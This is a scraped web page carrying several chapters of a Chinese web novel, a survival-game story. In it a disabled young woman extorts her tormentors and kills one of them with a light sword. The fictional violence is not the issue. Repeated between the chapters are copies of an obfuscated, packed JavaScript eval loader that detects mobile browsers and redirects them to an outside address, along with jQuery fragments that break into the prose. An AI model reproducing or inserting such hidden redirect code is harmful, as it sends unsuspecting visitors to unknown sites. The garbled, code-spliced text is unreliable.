d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274053|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈令珩转动轮椅,向柜子移动,她正要加入他们脱防护服充电,却被人猛的一脚连人带轮椅一起踹翻在地。 两米男人冷笑道,“看不出来这是红区的地盘吗?轮得到你白区的充电?” 沈令珩猛地闭了下眼,因为她反应很快,立马调整了姿势,没有伤到膝盖,其实不疼,但于自尊而言,很疼。 她正要起身,却被狠狠拽过了手臂,她的心一紧,穿上防护服后,腕表就自动圈在防护服上了,似乎是为了方便她操作。 但这会却更方便男人掠夺,他在她腕表上操作了什么,然后不耐地甩开,“穷鬼。” 他似乎没看见她的支线任务。 沈令珩松了口气。只是抢生存点而已。 人群中,有红区的人犹豫道,那是一个皮肤偏黑的男人,“这样是不是不太好?她挺可怜的……” 两米男人狠狠瞪了他一眼,伸手在他背上拍了下,“你懂个屁!来了废城就给我遵守规则,你不去抢别人,别人自会来抢你,你这么心疼她,不如你背着她通关?到时候电池消耗速度变快别怪我不管你。” 两米男人不满道,“多玩几次游戏就老实了,惯的你。电都充完没?别磨磨蹭蹭的。” 没人吭声了。 沈令珩沉默地躺在地上看着天花板。 第二个了。 原来像梁方那样的人不是个例啊... 在这个被他们称为废城的地方,恶才是常态,甚至是本能。 她还不够强大。 还有生存点的重要性。 先不说“生存点”这三个字,就光凭他们都那么在意生存点,不论红的白的都要抢得她一个不剩就知道这肯定是个好东西。 不过,或许红区的人确实比白区的人厉害一些吧,起码他们找到基地充电了。沈令珩想着。 她起伏的情绪渐渐在复盘中平复下来。 她已经把返回舱的坐标位置改了,他们如果都按照原来的坐标去,一个都完不成任务。 和一群死人计较什么呢? 沈令珩看着天花板,看着那个象征着摄像头的红点,感觉到自己的心越来越冷,她出神地盯着那点红光,盯了很久。 有人会在背后看到这一切吗? 好想让他们都去死。 这个念头在她的脑海里盘旋着,三十多个小时实在太长了,她等不下去了,好想让他们现在就死,死得比她现在痛苦百倍。 “还没好吗?”两米男人愈发不耐烦起来。 “哥,好像没电了。”一开始说话的黑皮男人提醒道。 “我看看。”两米男人凑过去,意外道,“还真是,估计这个基地没什么电了,换个基地吧,我记得下一个基地……” 他的话音刚落,亮堂的基地就陷入了一片漆黑中。 “打断我思路了,”他皱眉思考了好一会,“我有点想不起来了,你们等我一会。” 沈令珩的眼珠子动了动。 两米男人挠起头来,“完了完了,一下子真想不起来了。” 呵,沈令珩在心里冷笑一声,蠢货。 “想起来了。”两米男人招呼其他人跟上。 “哦对了。”他的视线又落到沈令珩身上,在其他人疑惑的视线中,他随意地把沈令珩扔进储藏柜。 沈令珩一直以来小心翼翼保护着的膝盖,在他的动作下,被狠狠砸在储藏柜的底部,发出金属碰撞时的巨大声响,剧痛痛得她意识几近空白。 但她咬死了牙关,没有发出一点声音,甚至连表情都没有太大的变化。 只有额角的冷汗暴露出了些许。 “哈哈哈!”两米男人笑的很大声,“还是关起来比较放心。” 几个红队的人也跟着笑了起来,除了一开始出声的黑皮男人和声音沙哑的男人。 储存柜的玻璃门“砰”得一声在沈令珩眼前关上,隔绝了他们的声音和空气。 膝盖上的剧痛让她的大脑愈发清醒,沈令珩咬死了后槽牙,视线冷冰冰地一一扫过他们的脸。 等他们一一离开,沈令珩终于松开牙,费力地喘息着以平复疼痛。 她的额头抵在储存柜的玻璃上,玻璃的凉意透过皮肤渗进血管。 她想起梁方掐住她脖子时的那种窒息感,想起肖富踹翻她轮椅时的轻蔑眼神…… 她的眼神越来越死寂,喉咙里发出低哑的笑声。 她太弱小了,她还不够强。 她不要让他们死的那么轻易,她要让他们知道自己死在了谁手里。 一无所知的死去实在是太便宜他们了。 沈令珩深呼吸了几次,终于把几近失控的情绪压了下来,转而落到目前的情况上。 没有电,单纯的机械柜门并不难开,她推门摔了出来,腿在违背她意志地不断抖动,第几次了?沈令珩恨恨地想着,如果不是自己太过天真,以为那个女人只是良心发现,想来送一送自己许久未见的女儿,如果不是她来找她要钱... 她不会出车祸,也不会伤到肺和腿,更不会失去那笔钱,被迫进了这个地方。 她艰难地爬上轮椅。 沈令珩花了点时间像上一次那样接通电源,把防护服拿去充电,自己重新打开联络窗口。 4. 预备游戏006(四) 红区的那群人似乎也不知道要接通备用电源,也没有做支线的意图,毕竟装备区那么近,如果他们要做支线,下一个目的地绝对不会是基地。 当然,不排除他们在防着她的可能性。 但两米男人似乎只知道几个基地的坐标。 可是这就带来了另一个问题,不接通电源怎么知道基地坐标呢?有点奇怪。 她暂时将这个疑惑搁置,翻开员工手册仔细研读,心里的想法逐渐成形。 她思索片刻后,再次看向摄像头。 沈令珩试探性地给总部发送了消息:遇到了另一小队成员,他们没有进行工作,反而攻击了我。 总部很快回复:收到,正在核验中…… 监控还在自顾自闪烁着红光,如同一只暗中窥视的眼睛。 总部:已确认241小队成员肖富在092基地对242小队队长沈令珩实施暴力,取消241小队成员肖富部分权限,并对242小队队长沈令珩提供相应补偿。 是否即刻选择? 沈令珩微怔,这是她对游戏内容探索的奖励吗? 她忍不住笑了起来,那个肖富绝对想不到,多亏了他那一脚,不然她还真拿不到这个奖励。 她辛苦搜集的线索,还有对其的理解与应用,完全值得相应的回报。 不论是返回舱的坐标和支线任务,还是这条补偿,都是游戏对她的通关路径的肯定。 她看了眼补偿清单,治疗舱使用权限(单次),50信用点还有自选等价装备,三选一。 有两个选项她不理解,沈令珩犹豫片刻,没着急选,她看了眼腕表上的红点,转而提出了别的请求:是否可以提供241队员位置? 总部:补偿保留中……241小队队员肖富位置查询权限已发放。 只提供肖富的也行。 她又用同样的手段把梁方也举报了,这么好的奖励,没道理放过的。 沈令珩看着新一份的奖励,和刚才的一样,她到底没有死,两人对她本人的伤害都有限,区别只在梁方的惩罚更重,他直接被取消了所有权限,毕竟胖子是死在他手里的,和肖富有根本上的不同,沈令珩虽然拿不到胖子那一份用命换来的奖励,但伤害胖子的惩罚结结实实地给到了梁方。 对总部道了谢,沈令珩检查了一下防护服的电量,确定充满后,她再次把基地彻底关闭,这次她不仅关了这边的,还顺便调动权限把所有基地关闭了,设置了必须要队长权限才能打开的门槛。 不出意外的话,目前整个游戏里只有她有这个权限。 沈令珩穿上防护服离开。 时间有限,她要早做准备,好好利用自己辛苦换来的优势。 沈令珩盯着腕表上象征着肖富的白点,突然发现原先那个远离大部队的白点似乎是朝着他们原来的基地方向去了。 有人回来了? 是发现了梁方的问题逃回来的人吗?沈令珩若有所思。 不论是谁,都正好可以利用一下。 * 崎岖的路上,国字脸男人双手托着两块叠在一起的备用电池赶路,忽见前方轮椅上那个熟悉的身影。他猛地一怔,脱口而出:“你…你怎么在这?!” 还穿上了防护服。 这话似乎应该是她的台词,沈令珩停下轮椅,面色平静,仿佛早已在此等候,“总不能在里面等死吧。” 她的声音透过防护服有些闷。 国字脸脸上掠过一丝慌乱和更深的愧疚,他几乎是下意识抬起大腿撑了撑硕大的备用电池,用下巴推出上面那块,小心翼翼地俯身送到沈令珩面前,“这个给你。” 然后愣住。 沈令珩大腿上正正板板地放着一块。 哪来的?国字脸困惑。他看着沈令珩,莫名觉得她的气质似乎有些不太一样了。 原先她也很有距离感,但并不像现在这样带着阴冷的寒意,而更偏向于是对自己的保护。 最重要的是,哪怕她没有说,其实他是能感觉到她也有些许不安的。 但现在……国字脸透过备用电池中间的空隙,看着沈令珩。她明明依旧坐在轮椅上,但攻击性却似乎更强了,也更冷静了。 她似乎已经适应了新环境。 “你收着吧。”沈令珩不轻不重道,“我不方便拿。” “哦……好。”国字脸男人扛起备用电池。 沈令珩看了他一眼,“跟紧我。” 他居然扛着两块备用电池,是梁方让他搬运的?所以那会梁方是看中了他的体格,想让他做苦力吗? 沈令珩思索着,手则艰难地转动轮椅。 两人一前一后,在沉默中走了一段。 国字脸终于忍不住,声音干涩地开口:“对不起…那时候,我没能……” “没什么值得道歉的。”沈令珩打断他,语气没有波澜,“换做是我,也会做同样的选择。” 这话没让国字脸好受,反而让他更沉默了。她的善解人意,比任何指责都更令人觉得亏欠。 “不过,”沈令珩忽然话锋一转,轮椅的轮椅没停,“我没想到你会回来,谢谢你。” 国字脸心里的负担轻了些,他调整了一下备用电池的位置,腾出一只手来帮她推轮椅。 “你也不用谢我……我也是觉得他有点问题……而且他有一个东西可以看出队员的身体情况,我看到你还活着,所以……” 他纠结了好一会,似乎觉得自己这样是在给自己找理由洗白,有些僵硬地开口转移话题道,“哈哈……那个梁哥一定没想到我会趁他不注意带着电池跑回来。” 沈令珩坐在轮椅上休息,闻言低头看了眼腕表上的白点数量,原本那聚在一起的五个白点变成了两个和一个。 见沈令珩不接话,他强忍着尴尬开口,“我总觉得他不怀好意,而且备用的电池就两个,也不够分的,到时候肯定还是拿我们开刀。” “正好他在接收坐标,我就带着电池跑了。”他又连忙解释道,“一块是你的,一块是我的,我没有拿别人的。” 他依旧自顾自道,“我想着既然我已经知道坐标了,我们两个也可以通关的。你不知道那笔钱对我有多重要……我女儿病了,要做肾脏移植,但我拿不出那么多钱,如果不是你,他们娘俩要怎么办,我都不敢想……” 他一个壮劳力一走了之,连钱都没弄来一分,这不是逼她们去死吗? “我姓元,大名国庆,你要是不介意,就叫我一声元叔。” 沈令珩没有告诉他梁方那边的情况,她点了点头,指了一个方向,半球体的铁壳就在前方,“先进去。” 两人进入装备储存区,沈令珩环视一圈,这里的布置和基地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274054|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不一样。元国庆微微发愣地看着这里的装置,不由得问道,“这是什么地方?” 沈令珩却没有解答他的疑惑,只是自顾自在里面转了一圈。 确认里面没有人来过的迹象,她找到了辐射检测仪,叫了一声,“元叔,把这个带上。” 元国庆连忙跟过来,把电池放在地上,拿起辐射检测仪问,“这是什么?” 【是否与(预备)玩家:元国庆共享支线任务?】 沈令珩没回答系统的问题,就像刚才放置补偿一样,放置了是否要分享的决定。 或许因为身体原因,她的防护服电量一直用得很快,这会又需要换电池了,看了眼元国庆放在一边的电池,说,“只要带两块备用电池就行,空的那块留在这里不用管。” 元国庆走了那么远的路,电池一定用空一块了。 他似乎习惯了沈令珩不回答他的问题,这会也不多问了,听话地照沈令珩说的做。 沈令珩在装备储存区转了一圈。 有很多装置她都不认识,而且她甚至只能看到最底下的一排装备,都是明码标价的。 几个到几千几百信用点不等。 原来信用点是用在这里的,沈令珩若有所思。 还有支线任务的D级权限,估计是为打开上排装备准备的。 上排的装备肯定更好。 沈令珩脑海中的天平彻底向信用点转移,说到底她的腿只是在恢复期,修养一段时间就好了,哮喘也是小毛病,影响不大的。 沈令珩彻底被琳琅满目的装备蛊惑了。 “走!”沈令珩带上她的那块空电池,招呼元国庆,迫不及待往不远处的A区监测点出发。 元国庆似乎感觉到了她的兴奋,脸上也带了笑,“好嘞!” 他这才有点感觉到她也还是个半大的孩子。 沈令珩自然不知道他在想什么,她现在满脑子都是信用点。 她带着元国庆到了监测点,看着电量迅速往下掉的防护服,她冷静了许多,得抓紧时间完成监测。 好在她有所准备,将说明书折了页,一下子就能找到,来的路上她也抓紧时间学了一会。 这会做得还算顺畅。 【区域A监测工作已完成】 不难。沈令珩赶紧让元国庆带上监测仪去下一个基地。 他们的防护服撑不了多久了。 拜沈令珩所赐,这次的基地不是随便就能打开的了,她得刷卡。 不过比起她还能刷卡进入,其他人就惨了,他们连进去的机会都没有。 “哥,到底是怎么回事啊?为什么突然进不去了?” “就是啊哥,我的防护服快没电了……” “你不是说这个基地肯定没问题吗?这都第二个了,我们还是进不去,是不是出了什么问题啊?” 肖富被他们责问得满头大汗,他还真不知道到底是基地出现了问题,还是他出现了问题。 刚才正好好地赶着路,突然防护服播报说因为违规,他的部分权限被锁定了,吓了他一跳,好在其他人似乎都没有听到。 但基地到底是怎么回事,他是真的不明白!攻略里没说会有这种情况啊! 急急急,他难道不急吗?他的防护服也快没电了啊! “你来!”肖富指着一个最闹的队员说。 5. 预备游戏006(五) 已经充上电的沈令珩看着肖富的位置,忍不住笑了起来,元国庆被她感染,也顾不得意外她怎么会操作这个,忍不住和她一起乐。 沈令珩笑够了,时间也差不多了,她看了眼那个基地的申请开放记录。 在另一个名字出现的一瞬间,关闭原先设定的权限要求。 让其他人可以开启基地,但肖富不行,不知道这样他还能不能管理好整个队伍,队里的人还愿不愿意服从他。 元国庆看她操作得专注,见缝插针地提醒她,“我们得赶紧去返回舱了。” 那个坐标离这里有好一段距离,他听到梁方说返回舱不会停留太久,具体多久倒是没听清。 “不急。”沈令珩说,她非常自然地去食品区拿了两根营养棒,塞给元国庆一根,“先补充体力,待会还有个地方要去。” 元国庆接过营养棒,又不由得一惊,这又是上哪找到的? 不过不管是哪来的,走了那么久的路,他现在也确实很饿了。 沈令珩回到操作台,她轻咳了两声,用她那微凉的嗓音,轻快道,“恭喜你们成功进入基地,充上电了吧?先别急着放心,你们已经离返回舱越来越远了哦。” 她似乎有些不适应这样说话,耳根微微发红。只是红区的人没有注意到,他们完全被她说的话吸引了全部的注意力。 他们看着这段视频,顿时一阵哗然。 视频是云上传的,不知道怎么就被打开了,反正不是他们中的谁操控的。 有人忍不住问,“她说的是什么意思啊?” “不要管她!”肖富烦躁道,“故弄玄虚而已!” 他的防护服果然出现了问题,不知道怎么回事,其他人都充上电了,偏偏他的没有。 刚才也是,他没法打开基地,反倒是这群新人打开了。他们当时的眼神几乎要把他羞恼致死! “你们中间好像有人的防护服充不上电哦。” 这句话指向性非常强烈。 几人忍不住看向烦躁到暴怒的肖富,黑皮男人忍不住拉了一下进度条,嘀咕道,“这真的不是视频通话吗?” 她怎么知道他们这边发生的事? 不会是她干的吧? 想明白的几个红区人的脸色都变了,他们小心翼翼地去观察肖富的反应。 肖富的脸一阵青一阵白的,“看什么看!” 到底是怎么回事?为什么他充不上电? “你!”他指着黑皮男人,“把你的备用电池拿过来给我。” “我?”黑皮男人没想到还有这出。 肖富臊得慌,他自诩是前辈,带他们到现在也只是稍微“拿”了一点生存点作为报酬而已。一直以来也算尽心,没想到最后还是要做这种事。 他的底气不足道,“你怕什么,我们俩都只有一块电池,我就算能放着你不管,还能不顾自己吗?” “你们想想,如果我不能离开基地,谁还能给你们下一个基地和返回舱的坐标?” 黑皮男一想也是,正要把电池给他。 那边沈令珩又说话了,“分享电池吗?确实是个不错的主意,那就祝你们成功咯。” 她笑得意味深长。 黑皮男手一抖。 什么意思?她还有什么后招? 他的手一时间伸也不是,缩也不是。 肖富替他做了决定,他一把夺过了黑皮男的电池。 屏幕似乎已经预料到了结果,很果断地黑了下去。 沈令珩拥有了队长的权限后,能做到的事越来越多,她关闭了那边的电源,但不再为他们后面的路线设置困境。 达摩克利斯之剑要悬着才足够有压迫感。 揉了揉脸颊。 脸上已经恢复了面无表情。 以前没怎么做过这种事,恐怕表现得没那么好,不过压力已经给到,沈令珩复盘了一下。 先用视频将他们的警惕心拉到最高,让他们猜测她有干预基地的能力,再任由他们安生一段日子…… 任由他们一直警惕着下一个基地会出现问题的可能,但又不出错。 等他们重新松懈下来,快到目的地时,再给他们当头一棒。 “走吧。”沈令珩弯唇,她对元国庆说,毕竟他们还有一个监测点要去呢。 希望梁方和肖富都能活到那个时候,不然可浪费了她为他们准备的好戏。 * 等沈令珩的支线任务即将完成时,她按下分享支线的按钮。 元国庆愣了愣,有些惊喜道,“原来你在做这个任务!” 沈令珩确认了自己的支线任务没有被影响后才点了点头,奖励已经到账,“走吧,回一趟基地。” 她一直在盯肖富和梁方几人的位置,那些人距离原先的返回舱已经越来越近了。 时间足够了。 沈令珩和元国庆返回基地,她教他如何举报梁方,得到同样的补偿后,两人动身前往装备储存区。 元国庆忍不住看着沈令珩。 这姑娘也太厉害了,先不说那个炸弹的事,这后面的支线啊、举报啊,也不知道她是怎么发现的。 连那个梁方也没见得有她懂。 要不是年纪轻轻就坐了轮椅……元国庆打了个激灵,不对,应该说还好她坐了轮椅……也不对。 他不想了。老老实实抱大腿通关就行。 没想到原本是想来报恩,结果又沾了她的光了。元国庆有些哭笑不得。 “那个补偿,你也换信用点吧。”沈令珩建议道。 “好。”元国庆应得很痛快。 他们再一次回到装备储存区,支线任务的奖励发放后,沈令珩可以打开D层的装备了。 不过依旧没有装备说明。 或许是因为预备游戏的局限性?沈令珩不太确定,她现在最多可以有150个信用点,选择变多了不少。 最下层的肯定不考虑了。 主要就是D层的。 没有150点信用点的装备,她能购买的最贵的只有一个100点的装备。 是买两个装备还是一个装备外加治疗舱? 沈令珩的视线在一个手环和一根椭圆柱体上来回移动。 这个手环的价格是一百,她肯定会购入的,沈令珩便先买下手环,至于那根50信用点的椭圆柱体再看吧! 补偿的选项也被载入游戏状态里了,沈令珩兑换出信号点,购入手环。 【空间手环:可提供一立方米储存空间】 沈令珩微怔,继而立马把另外一个补偿也兑换成信号点,买入那根椭圆柱体。 【压感型光剑:压力变强时凝聚高能量激光】 她立马推荐元国庆,“元叔,买这个手环!” 元国庆不疑有他,直接购入。 然后两人看着对方手里的装备,眼神都十分稀奇。 这可是空间手环!她都想跟元国庆互殴互相举报了。 但担心被取消部分权限后影响通关,所以还是算了。 沈令珩把身上携带的什么水果刀啊、药剂喷雾啊都往里面塞。 一立方米的空间比她想象得还要大,这少说是她家里那个小冰箱的两倍大了。 “天呐!”元国庆惊叹。 沈令珩把东西扔进空间里,又拿出来,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274055|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来回回几次,彻底研究明白后,她把备用电池放进去,自己口袋里只放了药和光剑。 元国庆学着她的操作,顺便把原先留在这里的那个空电池也带上了。 “这下方便多了。” 沈令珩也很认可地点点头,催促道,“走吧走吧,我要再去一趟基地。” “好嘞!”元国庆的情绪也很高涨。 这次他们没有携带那么多重物,两人的速度都快了一大截。 沈令珩看着腕表上几个白点的位置,算了一下时间,来得及。 天色已经彻底暗了下来,沈令珩看到基地里那个倒计时的数字跳到了31。 她再次清了清嗓子,“又见面了。” “马上就要到返回舱了,是不是很激动很开心呢?” 沈令珩弯唇,“去吧!我留在这里等你们。” “相信我,你们会回来的。” 她这次发挥得比上次好多了,沈令珩颇为满意,上传云端,然后再一次打开和总部的联络窗,麻烦对方给242小队的另外两人的防护服发两条消息。 毕竟梁方已经不是辐射监测员了。 做完这些事,她往轮椅上一瘫。 守株待兔。 察觉到视线,沈令珩偏头,看见元国庆正在看着她,她有些奇怪道,“怎么了?” “你以前没试过这样讲话吧?”元国庆一人自认跟她也算是熟悉些了,敢和她插科打诨了。 沈令珩手握拳抵了抵下巴,她轻咳两声,“跟我朋友学的,她这样讲话有时候挺气人的。” “怪不得听着很别扭。”元国庆眼里带笑。 “我还要再练练。”沈令珩蛮认可他的评价的,两人有一搭没一搭地聊了会。 片刻后,沈令珩的腕表突然震动起来。 她抬手一看。 原本只有两个功能的腕表新增了好友列表功能,并发来了一条申请,是梁方的。 沈令珩通过。 梁方:你做了什么?! 沈令珩:你不是知道了吗? 梁方发送又撤回几次,最后发来消息:10000生存点太多了,我没有这么多。 沈令珩:那我不管,是你们两个想要坐标,不是我想要。 梁方:你就不怕我回信号塔重新接收信号? 沈令珩:你有这个权限吗?你有这个电量吗? 梁方是真的惊了,她怎么会知道这个?难道……梁方脊背发寒,等一下……“你们两个”?她连他们这会是两个人都知道? 他没招了,只能把身边的人手腕扯过来,“你别怪我,”梁方说,“是她敲诈我们。” 他凑了凑,给沈令珩转了账。 【生存点已接收:10000】 沈令珩弯起眼睛:不够 梁方:……你别欺人太甚! 沈令珩:我说的是一个人一万,你跟我耍这种把戏?鉴于你这次挑衅,我反悔了,一个人两万,现在立马给我,你们的电池可撑不了多久了。 梁方:你! 沈令珩老神在在地躺在轮椅里,看着原本两个贴在一起的白点又暗下去一颗。 坐在男人尸体上的梁方喘着粗气,他伸手隔着防护服挠了挠腰部,总觉得这里有点不舒服,又痒又痛的。 梁方:现在只有我一个了,两万对吧?不会再变了吧?我已经给过你一万了,再给你一万。 沈令珩手指轻点:两万就是两万,一分都不能少。 梁方又来回正在输入中几次,最后停下。 【生存点已接收:20000】 梁方:现在可以给我坐标了吗? 6. 预备游戏006(完) 这么痛快,沈令珩有些意外他居然真的手里有这么多生存点,她果然报价报低了。 沈令珩给出坐标的前一位数字,然后悠悠然道:鉴于你对我实在是不尊重,剩下一个数字的价格是五万生存点。 透过梁方会话框上来来回回的“正在输入中”,沈令珩似乎看到了他咬牙暴怒的样子,但梁方比她想象得还能屈能伸。 梁方:没有这么多,这次是真的,只剩下两万了。 沈令珩冷笑:我看你是不想要坐标了。 梁方的小白点已经在移动,他回复得很快:是实话。 似乎怕她不信,系统播报来得极快。 【生存点已接收:20000】 沈令珩给了他剩下那位数字。 同时,她研究了一会,给短发女人,也就是卢胜男发了好友申请。 刚才她和总部联络时,已经知道了短发女人的名字,再加上梁方教她的,她学得很快。 卢胜男:? 沈令珩:1000生存点卖你返回舱坐标 卢胜男困惑:你是谁? 沈令珩:轮椅 卢胜男也开始正在输入中了:信息居然是你发的?你怎么做到的? 又立马发了条:怎么转? 沈令珩还在研究,她给卢胜男发的教程编辑到一半,那边卢胜男也研究明白了。 沈令珩给了她正确的坐标,顺便附赠她几个基地坐标。 卢胜男:谢谢,还有,对不起 沈令珩没再回复,肖富他们也发现旧坐标有问题了。 她现在要在他们回基地前留下信息。 “哎呀!怎么又回来了!不上返回舱吗?是不喜欢吗?” 红区的人被她恶心得够呛,哪来的返回舱?!他们白跑了一趟! 他们这下不敢随意无视她的话了,哪怕肖富也看得很认真。 沈令珩笑了起来,“哎呀我忘记了,返回舱好像不在那里呢。” 红区的人不说话,都专注地看着她,他们也明白了,这事她清楚得很,她就是故意的。 她想做什么?就直接开口吧。 结果她反而不说返回舱的事了,反而开始做起了什么自我介绍,名字里三个字每个字都清清楚楚地跟他们讲解了一遍。 红区的人烦躁起来,“她到底想做什么啊?” 都怪肖富!要不是他非要去惹她,他们至于这么被动吗? 肖富此时反而冷静下来了,“加她好友。”到底是老玩家,他准确意识到了沈令珩的意图。 他不是没有惊讶,她不可能是老玩家,绝对只是一个新玩家,但她学的太快了,现在连敲诈勒索都学会了。 肖富顶着他们古怪的视线一个个帮他们操作着加沈令珩好友。 沈令珩也是随便找了个人套话,这才知道他们红区的初始生存点居然比他们多。 他们每个人一开始发放了5000生存点,除去肖富收走的一千也还有四千。 肖富更是不知道手里有多少生存点了。 沈令珩给出报价,其他人都是一千,肖富得给她十万,所有人都转账后她才会提供坐标。 肖富的脸都绿了。 “那个什么白区的人真的都很没用吗?我怎么觉得哥被她……”玩弄于股掌之间。 黑皮男正这么说着,沙哑声音男连忙捂住他的嘴。 干嘛这时候触他霉头! 肖富被她的狮子大开口整得失语了:我哪来十万生存点? 沈令珩还非常理所当然道:不应该啊?白区的老玩家都有。 肖富怒了:那是因为他不要脸!每次都把别人抢光才会攒这么多!我就六万,你爱要不要! 沈令珩非常勉强道:好吧,没想到你混的还不如白区的,真没用。 肖富真的是出离愤怒了,他的手不住地发着抖,紧紧盯着腕表,坐标还捏在她手里,能怎么办。 他咬牙转账,眼睛死死钉在“转账成功”四个字上,手指捏得发白。 沈令珩倒是很守承诺,生存点都收到后,便给了坐标。 旁边有人问,“哥,咱们现在过去吗?” 他沉默了很久,猛踹了一脚操作台,从牙缝里挤出一句,“……去。” * 做完这些事,她便和元国庆一起去返回舱了,元国庆也是现在才知道,原来她把坐标位置改了,怪不得她一直不慌不忙,一副不着急去返回舱的样子。 惊讶的事情实在太多,他竟然渐渐习惯了。 沈令珩到了返回舱也不走,反而在那边等了起来。 “你要是累了可以先走。”沈令珩非常善解人意。 元国庆自然不会留她一个人在这里,陪她一起等了起来。 沈令珩的腕表又开始震动。 梁方:我根本赶不到那里! 沈令珩:那又如何?我给你坐标没有? 梁方一噎,但自打他进废城以来,还没吃过那么大的亏,放狠话几乎是本能:你必须保证我到返回舱。 沈令珩笑了:行啊,两万,我保你到返回舱。 梁方愣住,她居然真有办法?他也顾不得那么多了,一股脑把生存点都转给她,比起生存点,那肯定是命更重要:真的没有两万了,这是我全部的生存点。 结果他一激动,腰又开始疼了,还有种黏腻的液体流动的感觉。 他忍不住把手伸进防护服,什么东西顺着裤脚掉了下去,他的大腿又开始隐隐疼痛起来。 那是种线性的疼,他刚在腰上挠了一下,整个人便疼得五官扭曲起来。 怎么回事?! 梁方抽出手,原本干净的手竟然满是猩红的鲜血! 这究竟是怎么回事?! 那头沈令珩自然不知道她的小刀片对梁方造成了多少伤害,她收了生存点,给了他几个基地的坐标,又教他怎么充电。 原来如此! 梁方这才明白。 他忍不住狞笑起来,这死丫头还是太过天真,敢抢他的生存点,等他回了白区,一定教教她什么叫老玩家。 沈令珩自然不在意他是怎么想的,她发完消息就专注于等人了。 最先来的是卢胜男,见到他们,她点了点头,进了返回舱。 然后是红区的那些人。 他们的脸色都不太好看,只有黑皮男人还笑得出来,跟她打了个招呼。 沈令珩看着他,说,“我记得你,还有你。”她指了指沙哑声音男人,问,“你们叫什么?我把生存点还给你们。” 还有这种好事?黑皮男眼睛发光,“邹海洋,找到我没?” 沈令珩点点头,真的把生存点退给了他。 沙哑声音男人犹豫了一会,说,“沙子卓。” 其他人看见他们居然可以退回生存点,也急忙跑过来和沈令珩打招呼。 沈令珩头也没抬,“滚。” 好吧,不给就不给,他们也上了返回舱。 落在最后的是肖富,他面色复杂地看着沈令珩,声音干涩道,“算我看走眼了。” 居然没对她动手。 沈令珩朝他露出一个非常假的笑。 他忍不住回头看沈令珩。 她到底是怎么做到的?明明是一个新人,他还是带着攻略来的,居然都栽在她手里了,她的通关办法比他手里这份红区老玩家传下来的攻略还高明? 必须要回去告诉付哥。 肖富也离开了。 不知过去了多久。 梁方终于带着他们的行李箱姗姗来迟,难为他这么赶时间还记得大大小小地拖着行李箱。 挺好的,她行李箱里还放了一副她很珍惜的字。 沈令珩坐在返回舱里面看着他。 梁方在心里冷笑一声,直直向她走去。 “警告!有非辐射监测队员接近!警告……” 梁方一愣,“这是怎么回事?” “意思就是,你回不去了。”沈令珩淡淡道。 梁方脸色变了,“你做了什么?!”他猛地冲向沈令珩,沈令珩不闪不避,伸在口袋里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274056|198153||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手拿着一根黑黑的椭圆柱体。 元国庆正要上来帮忙。 只见漆黑的夜色中突然被一道蓝盈盈的光束撕裂,直直捅进梁方腹部。 沈令珩松了松手,光束消散,又在梁方摔下去时再次划破黑夜。 这次是胸口。 “你好像忘记了一个道理。” 什么?在血液冷下去前,梁方不由困惑。 沈令珩依旧坐在轮椅上,眼神带着微微的嘲讽,“这个道理还是你教我的,我认为非常对。” 她说,“你不要恨我,在废城,弱者是活不下去的。” 看着梁方的身体缓缓倒下,沈令珩的手紧紧捏着剑柄,指节因为挤压而发白,蓝色的光束因为巨大的压力变得稳定又粗壮。 随着身体落地的扑通一声,她的手微微颤抖着,紧接着整个身体都颤抖了起来。 元国庆脸色发白,以为她一时间接受不了亲手杀人的事实所以才害怕得发抖,正要上前安慰,却见沈令珩捂着下半张脸,声音低哑地传了出来。 “呵……” 她居然是在笑。 原来亲手杀死一个人这么简单。 沈令珩自顾自笑了一会,干脆利落地收起光剑,也收起了笑,又恢复成来时的模样,淡淡提醒他,“走吧。” 【(预备)玩家:沈令珩通关预备游戏006,本游戏胜者:白区】 【通关奖励:生存点5000】 【恭喜玩家:沈令珩成为正式玩家】 场景再次变换,沈令珩和元国庆出现在一个人满为患的广场上,广场中间是一个白色的大屏,上面写着数字:17。 “我没看错吧?好像数字加了一。” “那不是好事吗?下个月生存点也能多发点,不知道是哪路神仙不仅通关还赢了其他区的人。” 人群正在讨论着什么,沈令珩并不能清楚理解,但她看到有人冲他们来了。 还不止一个。 